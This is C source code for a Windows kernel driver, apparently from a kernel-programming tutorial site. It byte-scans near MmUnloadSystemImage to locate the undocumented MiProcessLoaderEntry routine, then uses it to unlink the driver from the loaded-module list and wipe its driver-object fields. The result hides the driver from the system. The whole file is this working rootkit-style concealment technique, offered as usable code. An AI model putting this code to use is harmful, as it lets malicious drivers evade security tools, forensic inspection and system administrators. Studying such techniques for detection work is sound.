#include <ntddk.h> #include <ntstrsafe.h>
typedef NTSTATUS(*NTQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG_PTR SystemInformationLength, OUT PULONG_PTR ReturnLength OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName( __in PUNICODE_STRING ObjectName, __in ULONG Attributes, __in_opt PACCESS_STATE AccessState, __in_opt ACCESS_MASK DesiredAccess, __in POBJECT_TYPE ObjectType, __in KPROCESSOR_MODE AccessMode, __inout_opt PVOID ParseContext, __out PVOID* Object );
typedef struct _SYSTEM_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID Base; ULONG Size; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; }LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
extern POBJECT_TYPE *IoDriverObjectType; typedef NTSTATUS(__fastcall *MiProcessLoaderEntry)(PVOID pDriverSection, BOOLEAN bLoad); ULONG64 MiUnloadSystemImageAddress = 0;
PVOID GetProcAddress(WCHAR *FuncName) { UNICODE_STRING u_FuncName = { 0 }; PVOID ref = NULL;
RtlInitUnicodeString(&u_FuncName, FuncName); ref = MmGetSystemRoutineAddress(&u_FuncName);
if (ref != NULL) { return ref; }
return ref; }
ULONG64 GetMiUnloadSystemImageAddress() { CHAR MmUnloadSystemImage_Code[] = "\x83\xCA\xFF\x48\x8B\xCF\x48\x8B\xD8\xE8";
ULONG_PTR MmUnloadSystemImageAddress = 0; ULONG_PTR MiUnloadSystemImageAddress = 0; ULONG_PTR StartAddress = 0;
MmUnloadSystemImageAddress = (ULONG_PTR)GetProcAddress(L"MmUnloadSystemImage"); if (MmUnloadSystemImageAddress == 0) { return 0; }
StartAddress = MmUnloadSystemImageAddress; while (StartAddress < MmUnloadSystemImageAddress + 0x500) { if (memcmp((VOID*)StartAddress, MmUnloadSystemImage_Code, strlen(MmUnloadSystemImage_Code)) == 0) { StartAddress += strlen(MmUnloadSystemImage_Code); MiUnloadSystemImageAddress = *(LONG*)StartAddress + StartAddress + 4; break; } ++StartAddress; }
if (MiUnloadSystemImageAddress != 0) { return MiUnloadSystemImageAddress; } return 0; }
MiProcessLoaderEntry GetMiProcessLoaderEntry(ULONG64 StartAddress) { if (StartAddress == 0) { return NULL; }
while (StartAddress < StartAddress + 0x600) { if (*(UCHAR*)StartAddress == 0xE8 && *(UCHAR *)(StartAddress + 5) == 0x8B && *(UCHAR *)(StartAddress + 6) == 0x05) { StartAddress++; return (MiProcessLoaderEntry)(*(LONG*)StartAddress + StartAddress + 4); } ++StartAddress; } return NULL; }
BOOLEAN GetDriverObjectByName(PDRIVER_OBJECT *DriverObject, WCHAR *DriverName) { PDRIVER_OBJECT TempObject = NULL; UNICODE_STRING u_DriverName = { 0 }; NTSTATUS Status = STATUS_UNSUCCESSFUL;
RtlInitUnicodeString(&u_DriverName, DriverName); Status = ObReferenceObjectByName(&u_DriverName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, &TempObject); if (!NT_SUCCESS(Status)) { *DriverObject = NULL; return FALSE; }
*DriverObject = TempObject; return TRUE; }
BOOLEAN SupportSEH(PDRIVER_OBJECT DriverObject) { PDRIVER_OBJECT Object = NULL;; PLDR_DATA_TABLE_ENTRY LdrEntry = NULL;
GetDriverObjectByName(&Object, L"\\Driver\\tdx"); if (Object == NULL) { return FALSE; }
LdrEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection; LdrEntry->DllBase = Object->DriverStart; ObDereferenceObject(Object); return TRUE; }
VOID InitInLoadOrderLinks(PLDR_DATA_TABLE_ENTRY LdrEntry) { InitializeListHead(&LdrEntry->InLoadOrderLinks); InitializeListHead(&LdrEntry->InMemoryOrderLinks); }
VOID Reinitialize(PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count) { MiProcessLoaderEntry m_MiProcessLoaderEntry = NULL; ULONG *p = NULL;
m_MiProcessLoaderEntry = GetMiProcessLoaderEntry(MiUnloadSystemImageAddress); if (m_MiProcessLoaderEntry == NULL) { return; }
SupportSEH(DriverObject);
m_MiProcessLoaderEntry(DriverObject->DriverSection, 0); InitInLoadOrderLinks((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection);
DriverObject->DriverSection = NULL; DriverObject->DriverStart = NULL; DriverObject->DriverSize = 0; DriverObject->DriverUnload = NULL; DriverObject->DriverInit = NULL; DriverObject->DeviceObject = NULL;
DbgPrint("驱动隐藏 \n"); }
VOID UnDriver(PDRIVER_OBJECT driver) { DbgPrint("卸载完成... \n"); }
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath) { DbgPrint("hello lyshark.com \n");
MiUnloadSystemImageAddress = GetMiUnloadSystemImageAddress(); MiProcessLoaderEntry MiProcessLoaderEntryAddress = GetMiProcessLoaderEntry(MiUnloadSystemImageAddress);
IoRegisterDriverReinitialization(Driver, Reinitialize, NULL);
Driver->DriverUnload = UnDriver; return STATUS_SUCCESS; }
|